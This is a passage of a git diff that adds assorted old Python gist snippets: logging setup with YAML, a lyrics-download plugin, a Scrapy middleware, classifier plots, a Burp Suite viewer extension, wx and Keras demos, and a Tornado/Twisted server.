+document.save()
+print document._id # "50d3cb0068c0064a21e76be4"
+
+# -------------------------
+# Getting a single document
+# -------------------------
+
+document = Document({
+    "_id": "50d3cb0068c0064a21e76be4"
+})
+
+print document.title # None
+document.reload()
+print document.title # "test document"
+
+# -----------------
+# Updating document
+# -----------------
+
+document.title = "test document 2"
+document.save()
+print document.title # "test document 2"
+document.reload()
+print document.title # "test document 2"
+
+# -----------------
+# Removing document
+# -----------------
+
+document.remove()
+print document # {}
\ No newline at end of file
diff --git a/hard-gists/4358668/._snippet.py b/hard-gists/4358668/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4358668/._snippet.py differ
diff --git a/hard-gists/4358668/snippet.py b/hard-gists/4358668/snippet.py
new file mode 100644
index 00000000..cf12b00e
--- /dev/null
+++ b/hard-gists/4358668/snippet.py
@@ -0,0 +1,126 @@
+# -*- coding: utf-8
+"""\
+A simple demo of logging configuration with YAML (Python 2.7)
+=============================================================
+
+Requires PyYAML -> "easy_install PyYAML"
+
+See the recipes for configuring logging with dicts and YAML
+- http://docs.python.org/2.7/howto/logging-cookbook.html
+- http://stackoverflow.com/questions/10519392/python2-7-logging-configuration-with-yaml
+"""
+
+import logging
+import logging.config
+import yaml
+import StringIO
+
+# Should be a config file in real app
+
+YAML_CONF = """\
+%YAML 1.2
+---
+# Config  for my application
+# --------------------------
+myapp:
+  foo: bar
+  bar: [1, 2]
+
+# Config for logging
+# ------------------
+# See http://docs.python.org/2.7/library/logging.config.html#configuration-dictionary-schema
+
+logging:
+  version: 1
+  disable_existing_loggers: true
+
+  # Configuring the default (root) logger is highly recommended
+
+  root:
+    level: !!python/name:logging.NOTSET
+    handlers: [console]
+
+  loggers:
+
+    # Logging from my application
+
+    myapp.lib:
+      level: !!python/name:logging.WARN
+      handlers: [logfile]
+      qualname: myapp.lib
+      propagate: false
+    myapp.cli:
+      level: !!python/name:logging.WARN
+      handlers: [console]
+      qualname: myapp.cli
+      propagate: false
+
+    # Controlling logging of 3rd party libs
+
+    sqlalchemy.engine:
+      level: !!python/name:logging.WARN
+      handlers: [logfile]
+      qualname: sqlalchemy.engine
+      propagate: false
+    sqlalchemy.pool:
+      level: !!python/name:logging.WARN
+      handlers: [logfile]
+      qualname: sqlalchemy.pool
+      propagate: false
+
+  handlers:
+    logfile:
+      class: logging.FileHandler
+      filename: sample.log
+      formatter: simpleFormatter
+      level: !!python/name:logging.NOTSET
+    console:
+      class: logging.StreamHandler
+      stream: ext://sys.stdout
+      formatter: simpleFormatter
+      level: !!python/name:logging.NOTSET
+
+  formatters:
+    simpleFormatter:
+      class: !!python/name:logging.Formatter
+      format: '%(name)s %(asctime)s %(levelname)s %(message)s'
+      datefmt: '%d/%m/%Y %H:%M:%S'
+"""
+
+# Loading config. Of course this is in another file in the real life
+
+global_config = yaml.load(StringIO.StringIO(YAML_CONF))
+
+# Configuring logging with the subset of the dict
+#
+
+logging.config.dictConfig(global_config['logging'])
+
+# Using explicitely the root logger always logs to the console
+
+logging.info("This is an info of the root logger")
+
+# The unconfigured loggers are captured by the root logger (-> console)
+
+unconfigured_logger = logging.getLogger('unconfigured')
+unconfigured_logger.info("This is an info from an unknown / unconfigured source")
+
+# Logging from myapp.cli
+
+myapp_cli_logger = logging.getLogger('myapp.cli')
+myapp_cli_logger.info("This is an info from myapp.cli")  # Not recorded
+myapp_cli_logger.warning("This is a warning from myapp.cli")  # -> console
+
+# Logging from myapp.lib
+
+myapp_lib_logger = logging.getLogger('myapp.lib')
+myapp_lib_logger.info("This is an info from myapp.lib")  # Not recorded
+myapp_lib_logger.warning("This is a warning from myapp.lib")  # -> sample.log
+
+# Controlling logs from 3rd party libs
+
+sqla_logger = logging.getLogger('sqlalchemy.engine')
+sqla_logger.info("This is an info from SQLAlchemy")  # Not recorded
+sqla_logger.warning("This is a warning from SQLAlchemy")  # -> sample.log
+
+print "Now look at the file 'sample.log'"
diff --git a/hard-gists/4361991/._snippet.py b/hard-gists/4361991/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4361991/._snippet.py differ
diff --git a/hard-gists/4361991/snippet.py b/hard-gists/4361991/snippet.py
new file mode 100644
index 00000000..7a72eb11
--- /dev/null
+++ b/hard-gists/4361991/snippet.py
@@ -0,0 +1,193 @@
+# -*- coding: utf-8 -*-
+import encodings.utf_8
+import math
+import urllib, urllib2
+import random
+import re
+from xml.dom import minidom
+from LevenshteinDistance import LevenshteinDistance
+from grabber import LyricProviderBase
+
+
+
+class TTPlayerCNC(LyricProviderBase):
+    def GetName(self):
+        return "千千静听（LRC）"
+    
+    def GetDescription(self):
+        return "从千千静听服务器下载歌词（LRC）"
+
+    def GetURL(self):
+        return "http://www.ttplayer.com"
+
+    def GetVersion(self):
+        return "0.3"
+
+    def Query(self, handles, status, abort):
+        result = []
+
+        for handle in handles:
+            status.Advance()
+
+            if abort.Aborting():
+                return result
+
+            try:
+                artist = handle.Format("[%artist%]")
+                title = handle.Format("[%title%]")
+                s = urllib.urlopen("http://ttlrcct2.qianqian.com/dll/lyricsvr.dll?sh?Artist=%s&Title=%s&Flags=0" % (self.ToQianQianHexString(artist), self.ToQianQianHexString(title))).read() ##这里是utf-8编码
+                doc = minidom.parseString(s)
+                m = 0xFFFFFFFFFFFFFFFF
+                best = None
+                
+                for e in doc.getElementsByTagName("lrc"):
+                #    i = LevenshteinDistance(artist, e.getAttribute("artist")) + LevenshteinDistance(title, e.getAttribute("title"))#原来对比的是不同编码的文本
+                    i = LevenshteinDistance(artist, e.getAttribute("artist").encode("utf-8")) + LevenshteinDistance(title, e.getAttribute("title").encode("utf-8"))   
+                    if m > i:
+                        m = i
+                        best = e.getAttribute("id"), e.getAttribute("artist"), e.getAttribute("title")
+            
+                if best == None:
+                    result.append('')
+                    continue
+                
+                Id, artist, title = best
+                code = self.CreateQianQianCode(Id, artist, title)
+                txheaders =  {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'}
+                req = urllib2.Request("http://ttlrcct2.qianqian.com/dll/lyricsvr.dll?dl?Id=%s&Code=%d" % (Id, code), None, txheaders)
+                lyric = urllib2.urlopen(req).read()
+                
+                if lyric.find("Search ID or Code error!") >= 0:
+                    result.append('')
+                    continue
+                else:
+                    result.append(lyric)
+            except Exception, e:
+                traceback.print_exc(file=sys.stdout)
+                result.append('')
+                continue
+
+        return result
+
+    def QianQianStringFilter(self,string):
+        s = string
+        # 英文转小写
+        s = s.lower()
+        # 去括号，大中小还有全角的小括号
+        s = re.sub('\(.*?\)|\[.*?]|{.*?}|（.*?）', '', s);
+        # 去除半角特殊符号，空格，逗号，etc。
+        s = re.sub('[ -/:-@[-`{-~]+', '', s);
+        # 繁（正）体转换为简体
+        s = translate(s,'zh-tw','zh-cn') # 并不完美.比如千千静听的後(/u8C5F)字没有转换
+        s = unicode(s, 'utf_8')
+        # 去除全角特殊符号
+        s = re.sub(u'[\u2014\u2018\u201c\u2026\u3001\u3002\u300a\u300b\u300e\u300f\u3010\u3011\u30fb\uff01\uff08\uff09\uff0c\uff1a\uff1b\uff1f\uff5e\uffe5]+','',s) 
+        return s
+    def ToHexStringUnicode(self, string):
+        s = string
+
+        tmp = ''
+        for c in s:
+            dec = ord(c)
+            tmp += "%02X" % (dec & 0xff)
+            tmp += "%02X" % (dec >> 8)
+        return tmp
+
+    def ToHexString(self, string):
+        tmp = ''
+        for c in string:
+            tmp += "%02X" % ord(c)
+        return tmp
+
+    def ToQianQianHexString(self, string, RequireUnicode = True):
+        if RequireUnicode:
+            return self.ToHexStringUnicode(self.QianQianStringFilter(string))
+        else:
+            return self.ToHexString(string)
+
+    def Conv(self, i):
+        r = i % 4294967296
+        if (i >= 0 and r > 2147483648):
+            r = r - 4294967296
+        elif (i < 0 and r < 2147483648):
+            r = r + 4294967296
+        return r
+
+    def CreateQianQianCode(self, lrcId, artist, title):
+        lrcId = int(lrcId)
+        ttstr = self.ToQianQianHexString((artist + title).encode("utf-8"), False) ##这里需要utf-8编码
+        length = len(ttstr) >> 1
+        song = []
+
+        for i in xrange(length):
+            song.append(int(ttstr[i*2:i*2+2], 16))
+        t1 = 0
+        t2 = 0
+        t3 = 0
+        t1 = (lrcId & 0x0000FF00) >> 8
+        if (lrcId & 0x00FF0000) == 0:
+            t3 = 0x000000FF & ~t1
+        else:
+            t3 = 0x000000FF & ((lrcId & 0x00FF0000) >> 16)
+
+        t3 |= (0x000000FF & lrcId) << 8
+        t3 <<= 8
+        t3 |= 0x000000FF & t1
+        t3 <<= 8
+
+        if (lrcId & 0xFF000000) == 0:
+            t3 |= 0x000000FF & (~lrcId)
+        else:
+            t3 |= 0x000000FF & (lrcId >> 24)
+
+        j = length - 1
+        
+        while j >= 0:
+            c = song[j]
+            if c >= 0x80:
+                c = c - 0x100
+            t1 = (c + t2) & 0x00000000FFFFFFFF
+            t2 = (t2 << (j % 2 + 4)) & 0x00000000FFFFFFFF
+            t2 = (t1 + t2) & 0x00000000FFFFFFFF
+            j -= 1
+
+        j = 0
+        t1 = 0
+
+        while j <= length - 1:
+            c = song[j]
+            if c >= 0x80: # c <128
+                c = c - 0x100
+            t4 = (c + t1) & 0x00000000FFFFFFFF
+            t1 = (t1 << (j % 2 + 3)) & 0x00000000FFFFFFFF
+            t1 = (t1 + t4) & 0x00000000FFFFFFFF
+            j += 1
+
+        t5 = self.Conv(t2 ^ t3)
+        t5 = self.Conv(t5 + (t1 | lrcId))
+        t5 = self.Conv(t5 * (t1 | t3))
+        t5 = self.Conv(t5 * (t2 ^ lrcId))
+        t6 = t5
+        if (t6 > 2147483648):
+            t5 = t6 - 4294967296
+        return t5
+
+def translate(text,lang_from,lang_to):
+    #Out of Date
+    #v2 居然要收錢,還這麼貴 see:http://code.google.com/apis/language/translate/v2/pricing.html
+    #url = ('http://ajax.googleapis.com/ajax/services/language/translate?' +
+    #         'v=1.0&q='+urllib.quote(text)+'&langpair='+lang_from+'%7C'+lang_to)
+    # 替換成bing的翻譯api
+    url = ('http://api.microsofttranslator.com/V2/Ajax.svc/Translate?' +
+           'appId=DE2A1CAA235EB52E611BC1243F16E4D301BB600E' +
+           '&from='+ lang_from +'&to='+ lang_to +
+           '&text='+urllib.quote(text))
+    json = urllib.urlopen(url).read()
+    #    return json;
+    #  p = re.compile('"translatedText":"(.+?)"')  #對應谷歌
+    p = re.compile('"(.+?)"') #對應必應
+    m = p.search(json);
+    return m.group(1);
+
+if __name__ == "__main__":
+    LyricProviderInstance = TTPlayerCNC()
\ No newline at end of file
diff --git a/hard-gists/4365237/._snippet.py b/hard-gists/4365237/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4365237/._snippet.py differ
diff --git a/hard-gists/4365237/snippet.py b/hard-gists/4365237/snippet.py
new file mode 100644
index 00000000..7cd5e921
--- /dev/null
+++ b/hard-gists/4365237/snippet.py
@@ -0,0 +1,23 @@
+# A downloader middleware automatically to redirect pages containing a rel=canonical in their contents to the canonical url (if the page itself is not the canonical one),
+
+from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
+from scrapy.utils.url import url_is_from_spider
+from scrapy.http import HtmlResponse
+from scrapy import log
+
+class RelCanonicalMiddleware(object):
+    _extractor = SgmlLinkExtractor(restrict_xpaths=['//head/link[@rel="canonical"]'], tags=['link'], attrs=['href'])
+
+    def process_response(self, request, response, spider):
+        if isinstance(response, HtmlResponse) and response.body and getattr(spider, 'follow_canonical_links', False):
+            rel_canonical = self._extractor.extract_links(response)
+            if rel_canonical:
+                rel_canonical = rel_canonical[0].url
+                if rel_canonical != request.url and url_is_from_spider(rel_canonical, spider):
+                    log.msg("Redirecting (rel=\"canonical\") to %s from %s" % (rel_canonical, request), level=log.DEBUG, spider=spider)
+                    return request.replace(url=rel_canonical, callback=lambda r: r if r.status == 200 else response)
+        return response
+
+# Snippet imported from snippets.scrapy.org (which no longer works)
+# author: pablo
+# date  : Aug 27, 2010
diff --git a/hard-gists/4365631/._snippet.py b/hard-gists/4365631/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4365631/._snippet.py differ
diff --git a/hard-gists/4365631/snippet.py b/hard-gists/4365631/snippet.py
new file mode 100644
index 00000000..4e1d76e5
--- /dev/null
+++ b/hard-gists/4365631/snippet.py
@@ -0,0 +1,95 @@
+import numpy as np
+import pylab as pl
+import pandas as pd
+
+from sklearn import svm
+from sklearn import linear_model
+from sklearn import tree
+
+from sklearn.metrics import confusion_matrix
+
+x_min, x_max = 0, 15
+y_min, y_max = 0, 10
+step = .1
+# to plot the boundary, we're going to create a matrix of every possible point
+# then label each point as a wolf or cow using our classifier
+xx, yy = np.meshgrid(np.arange(x_min, x_max, step), np.arange(y_min, y_max, step))
+
+df = pd.DataFrame(data={'x': xx.ravel(), 'y': yy.ravel()})
+
+df['color_gauge'] = (df.x-7.5)**2 + (df.y-5)**2
+df['color'] = df.color_gauge.apply(lambda x: "red" if x <= 15 else "green")
+df['color_as_int'] = df.color.apply(lambda x: 0 if x=="red" else 1)
+
+print "Points on flag:"
+print df.groupby('color').size()
+print
+
+figure = 1
+
+# plot a figure for the entire dataset
+for color in df.color.unique():
+    idx = df.color==color
+    pl.subplot(2, 2, figure)
+    pl.scatter(df[idx].x, df[idx].y, color=color)
+    pl.title('Actual')
+
+
+train_idx = df.x < 10
+
+train = df[train_idx]
+test = df[-train_idx]
+
+
+print "Training Set Size: %d" % len(train)
+print "Test Set Size: %d" % len(test)
+
+# train using the x and y position coordiantes
+cols = ["x", "y"]
+
+clfs = {
+    "SVM": svm.SVC(degree=0.5),
+    "Logistic" : linear_model.LogisticRegression(),
+    "Decision Tree": tree.DecisionTreeClassifier()
+}
+
+
+# racehorse different classifiers and plot the results
+for clf_name, clf in clfs.iteritems():
+    figure += 1
+
+    # train the classifier
+    clf.fit(train[cols], train.color_as_int)
+
+    # get the predicted values from the test set
+    test['predicted_color_as_int'] = clf.predict(test[cols])
+    test['pred_color'] = test.predicted_color_as_int.apply(lambda x: "red" if x==0 else "green")
+    
+    # create a new subplot on the plot
+    pl.subplot(2, 2, figure)
+    # plot each predicted color
+    for color in test.pred_color.unique():
+        # plot only rows where pred_color is equal to color
+        idx = test.pred_color==color
+        pl.scatter(test[idx].x, test[idx].y, color=color)
+
+    # plot the training set as well
+    for color in train.color.unique():
+        idx = train.color==color
+        pl.scatter(train[idx].x, train[idx].y, color=color)
+
+    # add a dotted line to show the boundary between the training and test set
+    # (everything to the right of the line is in the test set)
+    #this plots a vertical line
+    train_line_y = np.linspace(y_min, y_max) #evenly spaced array from 0 to 10
+    train_line_x = np.repeat(10, len(train_line_y)) #repeat 10 (threshold for traininset) n times
+    # add a black, dotted line to the subplot
+    pl.plot(train_line_x, train_line_y, 'k--', color="black")
+    
+    pl.title(clf_name)
+
+    print "Confusion Matrix for %s:" % clf_name
+    print confusion_matrix(test.color, test.pred_color)
+pl.show()
+
+
diff --git a/hard-gists/4365814/._snippet.py b/hard-gists/4365814/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4365814/._snippet.py differ
diff --git a/hard-gists/4365814/snippet.py b/hard-gists/4365814/snippet.py
new file mode 100644
index 00000000..675f71de
--- /dev/null
+++ b/hard-gists/4365814/snippet.py
@@ -0,0 +1,104 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Wed Dec 19 14:20:28 2012
+
+@author: Nick Coblentz
+"""
+
+from burp import IBurpExtender
+from burp import IMessageEditorTabFactory
+from burp import IMessageEditorTab
+from java.io import PrintWriter
+import re
+import base64
+import StringIO
+import zipfile
+from xml.dom.minidom import parseString
+
+#Implements MessageEditorTabFactory
+class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
+    def registerExtenderCallbacks(self, callbacks):
+        self.callbacks=callbacks
+        #Used to debug plugin
+        self.stdout = PrintWriter(callbacks.getStdout(), True)
+        self.stderr = PrintWriter(callbacks.getStderr(), True)
+        self.helpers = callbacks.getHelpers()
+        callbacks.setExtensionName("Base 64 Zip Helper")
+        #Indicate that this class contains the method to instantiate a new Message Editor Tab
+        callbacks.registerMessageEditorTabFactory(self)
+        return
+        
+    #Instatiates a new Message Editor Tab of type Base64ZipInputTab
+    def createNewInstance(self, controller, editable):                
+        return Base64ZipInputTab(self, controller, editable)
+        
+#Implements MessageEditorTab        
+class Base64ZipInputTab(IMessageEditorTab):
+    def __init__(self, extender, controller, editable):
+        self.extender = extender
+        self.editable = editable
+        self.controller = controller
+                
+        self.txtInput = extender.callbacks.createTextEditor()
+        #self.txtInput.setEditable(editable)
+        #View only plugin
+        self.txtInput.setEditable(False)
+        return
+        
+    def getTabCaption(self):
+        return "Base 64 Encoded Zip File Data"
+        
+    def getUiComponent(self):
+        return self.txtInput.getComponent()
+    
+    #The targeted SOAP responses data is inside the fourth XML tag, return that data
+    def getInnerXMLContent(self,content):
+        matches = re.search('(?:<.*>){4}([^<]+)(?:<.*>){4}',content)
+        if(matches != None):
+            return matches.group(1)
+        return None
+        
+    #if its a response (not a request), the targeted domain is found and data is found 4 XML tags deep in a SOAP responses, show the tab
+    def isEnabled(self, content, isRequest):
+        if(not isRequest):
+            if('exampledomain.com' in self.controller.getHttpService().getHost()):
+                if(self.getInnerXMLContent(self.extender.helpers.bytesToString(content))!=None):
+                    return True
+        return False
+    
+    def isModified(self):        
+        return self.txtInput.isTextModified()
+    
+    def getSelectedData(self):        
+        return self.txtInput.getSelectedText()
+        
+    #base64 decode, unzip, and then prettify the XML data.  Show the result in the tab    
+    def setMessage(self, content, isRequest):
+        #sometimes old data was displayed, not sure why.  Solution was to clear it out each time.
+        self.txtInput.setText("")
+        output=[]
+
+        s0 = self.getInnerXMLContent(self.extender.helpers.bytesToString(content))
+        s1=base64.b64decode(s0)
+        z1=zipfile.ZipFile(StringIO.StringIO(s1),"r")
+        z1filelist=z1.filelist
+        
+        while(len(z1filelist)>0):
+            #output.append("\n===============")
+            filename=z1filelist.pop().filename
+            #output.append(filename+":")
+            output.append(z1.read(filename))        
+        
+        self.txtInput.setText(self.extender.helpers.stringToBytes(self.prettyXML("\n".join(output))))
+        return
+        
+    def prettyXML(self,xmldata):
+        try:
+            return parseString(xmldata).toprettyxml(encoding="utf-8")
+        except:
+            return xmldata
+        
+        
+    def getMessage(self):
+        return self.txtInput.getText()
+        
\ No newline at end of file
diff --git a/hard-gists/436e19a22f570f1cce2f/._snippet.py b/hard-gists/436e19a22f570f1cce2f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/436e19a22f570f1cce2f/._snippet.py differ
diff --git a/hard-gists/436e19a22f570f1cce2f/snippet.py b/hard-gists/436e19a22f570f1cce2f/snippet.py
new file mode 100644
index 00000000..fcdc8ec8
--- /dev/null
+++ b/hard-gists/436e19a22f570f1cce2f/snippet.py
@@ -0,0 +1,162 @@
+from collections import deque
+from math import sin, cos, pi, atan2, hypot
+import random
+import time
+import wx
+
+SIZE = 600
+COUNT = 64
+SPEED = 100
+FOLLOWERS = 4
+
+COLORS = [
+    wx.RED,
+]
+
+class Bot(object):
+    def __init__(self, position, target):
+        self.position = position
+        self.target = target
+        self.speed = random.random() + 0.5
+        self.padding = random.random() * 8 + 16
+        self.history = deque(maxlen=64)
+    def get_position(self, offset):
+        px, py = self.position
+        tx, ty = self.target
+        angle = atan2(ty - py, tx - px)
+        return (px + cos(angle) * offset, py + sin(angle) * offset)
+    def update(self, bots):
+        px, py = self.position
+        tx, ty = self.target
+        angle = atan2(ty - py, tx - px)
+        dx = cos(angle)
+        dy = sin(angle)
+        for bot in bots:
+            if bot == self:
+                continue
+            x, y = bot.position
+            d = hypot(px - x, py - y) ** 2
+            p = bot.padding ** 2
+            angle = atan2(py - y, px - x)
+            dx += cos(angle) / d * p
+            dy += sin(angle) / d * p
+        angle = atan2(dy, dx)
+        magnitude = hypot(dx, dy)
+        return angle, magnitude
+    def set_position(self, position):
+        self.position = position
+        if not self.history:
+            self.history.append(self.position)
+            return
+        x, y = self.position
+        px, py = self.history[-1]
+        d = hypot(px - x, py - y)
+        if d >= 10:
+            self.history.append(self.position)
+
+class Model(object):
+    def __init__(self, width, height, count):
+        self.width = width
+        self.height = height
+        self.bots = self.create_bots(count)
+    def create_bots(self, count):
+        result = []
+        for i in range(count):
+            position = self.select_point()
+            target = self.select_point()
+            bot = Bot(position, target)
+            result.append(bot)
+        return result
+    def select_point(self):
+        cx = self.width / 2.0
+        cy = self.height / 2.0
+        radius = min(self.width, self.height) * 0.4
+        angle = random.random() * 2 * pi
+        x = cx + cos(angle) * radius
+        y = cy + sin(angle) * radius
+        return (x, y)
+    def update(self, dt):
+        data = [bot.update(self.bots) for bot in self.bots]
+        for bot, (angle, magnitude) in zip(self.bots, data):
+            speed = min(1, 0.2 + magnitude * 0.8)
+            dx = cos(angle) * dt * SPEED * bot.speed * speed
+            dy = sin(angle) * dt * SPEED * bot.speed * speed
+            px, py = bot.position
+            tx, ty = bot.target
+            bot.set_position((px + dx, py + dy))
+            if hypot(px - tx, py - ty) < 10:
+                bot.target = self.select_point()
+        for bot in self.bots[-FOLLOWERS:]:
+            bot.target = self.bots[0].get_position(10)
+
+class Panel(wx.Panel):
+    def __init__(self, parent):
+        super(Panel, self).__init__(parent)
+        self.model = Model(SIZE, SIZE, COUNT)
+        self.SetBackgroundStyle(wx.BG_STYLE_CUSTOM)
+        self.Bind(wx.EVT_SIZE, self.on_size)
+        self.Bind(wx.EVT_PAINT, self.on_paint)
+        self.Bind(wx.EVT_LEFT_DOWN, self.on_left_down)
+        self.Bind(wx.EVT_RIGHT_DOWN, self.on_right_down)
+        self.timestamp = time.time()
+        self.on_timer()
+    def on_timer(self):
+        now = time.time()
+        dt = now - self.timestamp
+        self.timestamp = now
+        self.model.update(dt)
+        self.Refresh()
+        wx.CallLater(10, self.on_timer)
+    def on_left_down(self, event):
+        self.model.bots[0].target = event.GetPosition()
+    def on_right_down(self, event):
+        width, height = self.GetClientSize()
+        self.model = Model(width, height, COUNT)
+    def on_size(self, event):
+        width, height = self.GetClientSize()
+        self.model = Model(width, height, COUNT)
+        event.Skip()
+        self.Refresh()
+    def on_paint(self, event):
+        n = len(COLORS)
+        dc = wx.AutoBufferedPaintDC(self)
+        dc.SetBackground(wx.BLACK_BRUSH)
+        dc.Clear()
+        dc.SetPen(wx.BLACK_PEN)
+        for index, bot in enumerate(self.model.bots[:n]):
+            dc.SetBrush(wx.Brush(COLORS[index]))
+            for x, y in bot.history:
+                dc.DrawCircle(x, y, 3)
+        dc.SetBrush(wx.BLACK_BRUSH)
+        for index, bot in enumerate(self.model.bots[:n]):
+            dc.SetPen(wx.Pen(COLORS[index]))
+            x, y = bot.target
+            dc.DrawCircle(x, y, 6)
+        for index, bot in enumerate(self.model.bots):
+            dc.SetPen(wx.BLACK_PEN)
+            if index < n:
+                dc.SetBrush(wx.Brush(COLORS[index]))
+            elif index >= COUNT - FOLLOWERS:
+                dc.SetBrush(wx.BLACK_BRUSH)
+                dc.SetPen(wx.WHITE_PEN)
+            else:
+                dc.SetBrush(wx.WHITE_BRUSH)
+            x, y = bot.position
+            dc.DrawCircle(x, y, 6)
+
+class Frame(wx.Frame):
+    def __init__(self):
+        super(Frame, self).__init__(None)
+        self.SetTitle('Motion')
+        self.SetClientSize((SIZE, SIZE))
+        Panel(self)
+
+def main():
+    app = wx.App()
+    frame = Frame()
+    frame.Center()
+    frame.Show()
+    app.MainLoop()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/43e20eda5eb5834b61bc06a4c1855b29/._snippet.py b/hard-gists/43e20eda5eb5834b61bc06a4c1855b29/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/43e20eda5eb5834b61bc06a4c1855b29/._snippet.py differ
diff --git a/hard-gists/43e20eda5eb5834b61bc06a4c1855b29/snippet.py b/hard-gists/43e20eda5eb5834b61bc06a4c1855b29/snippet.py
new file mode 100644
index 00000000..0b8a4f87
--- /dev/null
+++ b/hard-gists/43e20eda5eb5834b61bc06a4c1855b29/snippet.py
@@ -0,0 +1,85 @@
+import operator
+import threading
+from functools import reduce
+
+import keras
+import keras.backend as K
+from keras.engine import Model
+import numpy as np
+import tensorflow as tf
+import time
+from keras.layers import Conv2D
+from tqdm import tqdm
+
+
+def prod(factors):
+    return reduce(operator.mul, factors, 1)
+
+
+TRAINING = True
+with K.get_session() as sess:
+    shp = [10, 200, 200, 3]
+    shp1 = [10, 7, 7, 80]
+    inp = K.placeholder(shp)
+    inp1 = K.placeholder(shp1)
+    queue = tf.FIFOQueue(20, [tf.float32, tf.float32], [shp, shp1])
+    x1, y1 = queue.dequeue()
+    enqueue = queue.enqueue([inp, inp1])
+    model = keras.applications.ResNet50(False, "imagenet", x1, shp[1:])
+    for i in range(3):
+        model.layers.pop()
+        model.layers[-1].outbound_nodes = []
+        model.outputs = [model.layers[-1].output]
+    output = model.outputs[0]  # 7x7
+    # Reduce filter size to avoid OOM
+    output = Conv2D(32, (1, 1), padding="same", activation='relu')(output)
+    output3 = Conv2D(5 * (4 + 11 + 1), (1, 1), padding="same", activation='relu')(
+        output)  # YOLO output B (4 + nb_class +1)
+    cost = tf.reduce_sum(tf.abs(output3 - y1))
+    optimizer = tf.train.RMSPropOptimizer(0.001).minimize(cost)
+    sess.run(tf.global_variables_initializer())
+
+
+    def get_input():
+        # Super long processing I/O bla bla bla
+        return np.arange(prod(shp)).reshape(shp).astype(np.float32), np.arange(prod(shp1)).reshape(shp1).astype(
+            np.float32)
+
+
+    def genera(coord, enqueue_op):
+        while not coord.should_stop():
+            inp_feed, inp1_feed = get_input()
+            sess.run(enqueue_op, feed_dict={inp: inp_feed, inp1: inp1_feed})
+
+
+    start = time.time()
+    for i in tqdm(range(10)):  # EPOCH
+        for j in range(30):  # Batch
+            x,y = get_input()
+            optimizer_, s = sess.run([optimizer, queue.size()], feed_dict={x1:x,y1:y,K.learning_phase(): int(TRAINING)})
+    print("Took : ", time.time() - start)
+
+
+    coordinator = tf.train.Coordinator()
+    threads = [threading.Thread(target=genera, args=(coordinator, enqueue)) for i in range(10)]
+    for t in threads:
+        t.start()
+    start = time.time()
+    for i in tqdm(range(10)):  # EPOCH
+        for j in range(30):  # Batch
+            optimizer_, s = sess.run([optimizer, queue.size()], feed_dict={K.learning_phase(): int(TRAINING)})
+    print("Took : ", time.time() - start)
+
+    def clear_queue(queue, threads):
+        while any([t.is_alive() for t in threads]):
+            _, s = sess.run([queue.dequeue(), queue.size()])
+            print(s)
+
+
+    coordinator.request_stop()
+    clear_queue(queue, threads)
+
+    coordinator.join(threads)
+    print("DONE Queue")
+
+
diff --git a/hard-gists/4407510/._snippet.py b/hard-gists/4407510/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4407510/._snippet.py differ
diff --git a/hard-gists/4407510/snippet.py b/hard-gists/4407510/snippet.py
new file mode 100644
index 00000000..a7791091
--- /dev/null
+++ b/hard-gists/4407510/snippet.py
@@ -0,0 +1,136 @@
+#!/usr/bin/env python
+#
+# Copyright 2009 Facebook
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may
+# not use this file except in compliance with the License. You may obtain
+# a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+# License for the specific language governing permissions and limitations
+# under the License.
+
+from tornado.platform.twisted import TwistedIOLoop
+from twisted.internet import reactor
+TwistedIOLoop().install()
+
+import tornado.httpserver
+import tornado.options
+import tornado.web
+
+from tornado.options import define, options
+
+from twisted.internet import defer
+from twisted.internet import threads
+
+
+define("port", default=8888, help="run on the given port", type=int)
+
+
+def count(n):
+    """
+    CPU bound function.
+    """
+    for i in xrange(n):
+        pass
+    return str(n)
+
+
+def longCall(n, raise_exception=False):
+    """
+    imitate long async operation.
+    """
+    df = defer.Deferred()
+    if not raise_exception:
+        reactor.callLater(n, df.callback, u'success')
+    else:
+        reactor.callLater(n, df.errback, u'error occured')
+    return df
+
+
+class MainHandler(tornado.web.RequestHandler):
+    """
+    Immidiate response.
+    """
+    def get(self):
+        self.write("Hello, world")
+
+
+class CallLaterHandler(tornado.web.RequestHandler):
+    """
+    Test Deferred using reactor.callLater
+    """
+    @tornado.web.asynchronous
+    def get(self):
+        df = longCall(20)
+        df.addCallback(self.on_callback)
+        return df
+
+    def on_callback(self, res):
+        self.write(res)
+        self.finish()
+
+
+class ThreadHandler(tornado.web.RequestHandler):
+    """
+    Test deferToThread.
+    """
+    @tornado.web.asynchronous
+    def get(self):
+        df = threads.deferToThread(count, 10000000)
+        df.addCallback(self.on_callback)
+        return df
+
+    def on_callback(self, res):
+        self.write(res)
+        self.finish()
+
+
+class InlineCallbacksHandler(tornado.web.RequestHandler):
+    """
+    Test inlineCallbacks.
+    """
+    @defer.inlineCallbacks
+    @tornado.web.asynchronous
+    def get(self):
+        response = yield longCall(10)
+        self.write(response)
+        self.finish()
+
+
+class ExceptionHandler(tornado.web.RequestHandler):
+    """
+    Test handling exceptions.
+    """
+    @tornado.web.asynchronous
+    def get(self):
+        df = longCall(1, raise_exception=True)
+        df.addErrback(self.on_error)
+        return df
+
+    def on_error(self, err):
+        self.write(err.value)
+        self.finish()
+
+
+def main():
+    tornado.options.parse_command_line()
+    application = tornado.web.Application([
+        (r"/", MainHandler),
+        (r"/later", CallLaterHandler),
+        (r"/inline", InlineCallbacksHandler),
+        (r"/thread", ThreadHandler),
+        (r"/exception", ExceptionHandler)
+    ])
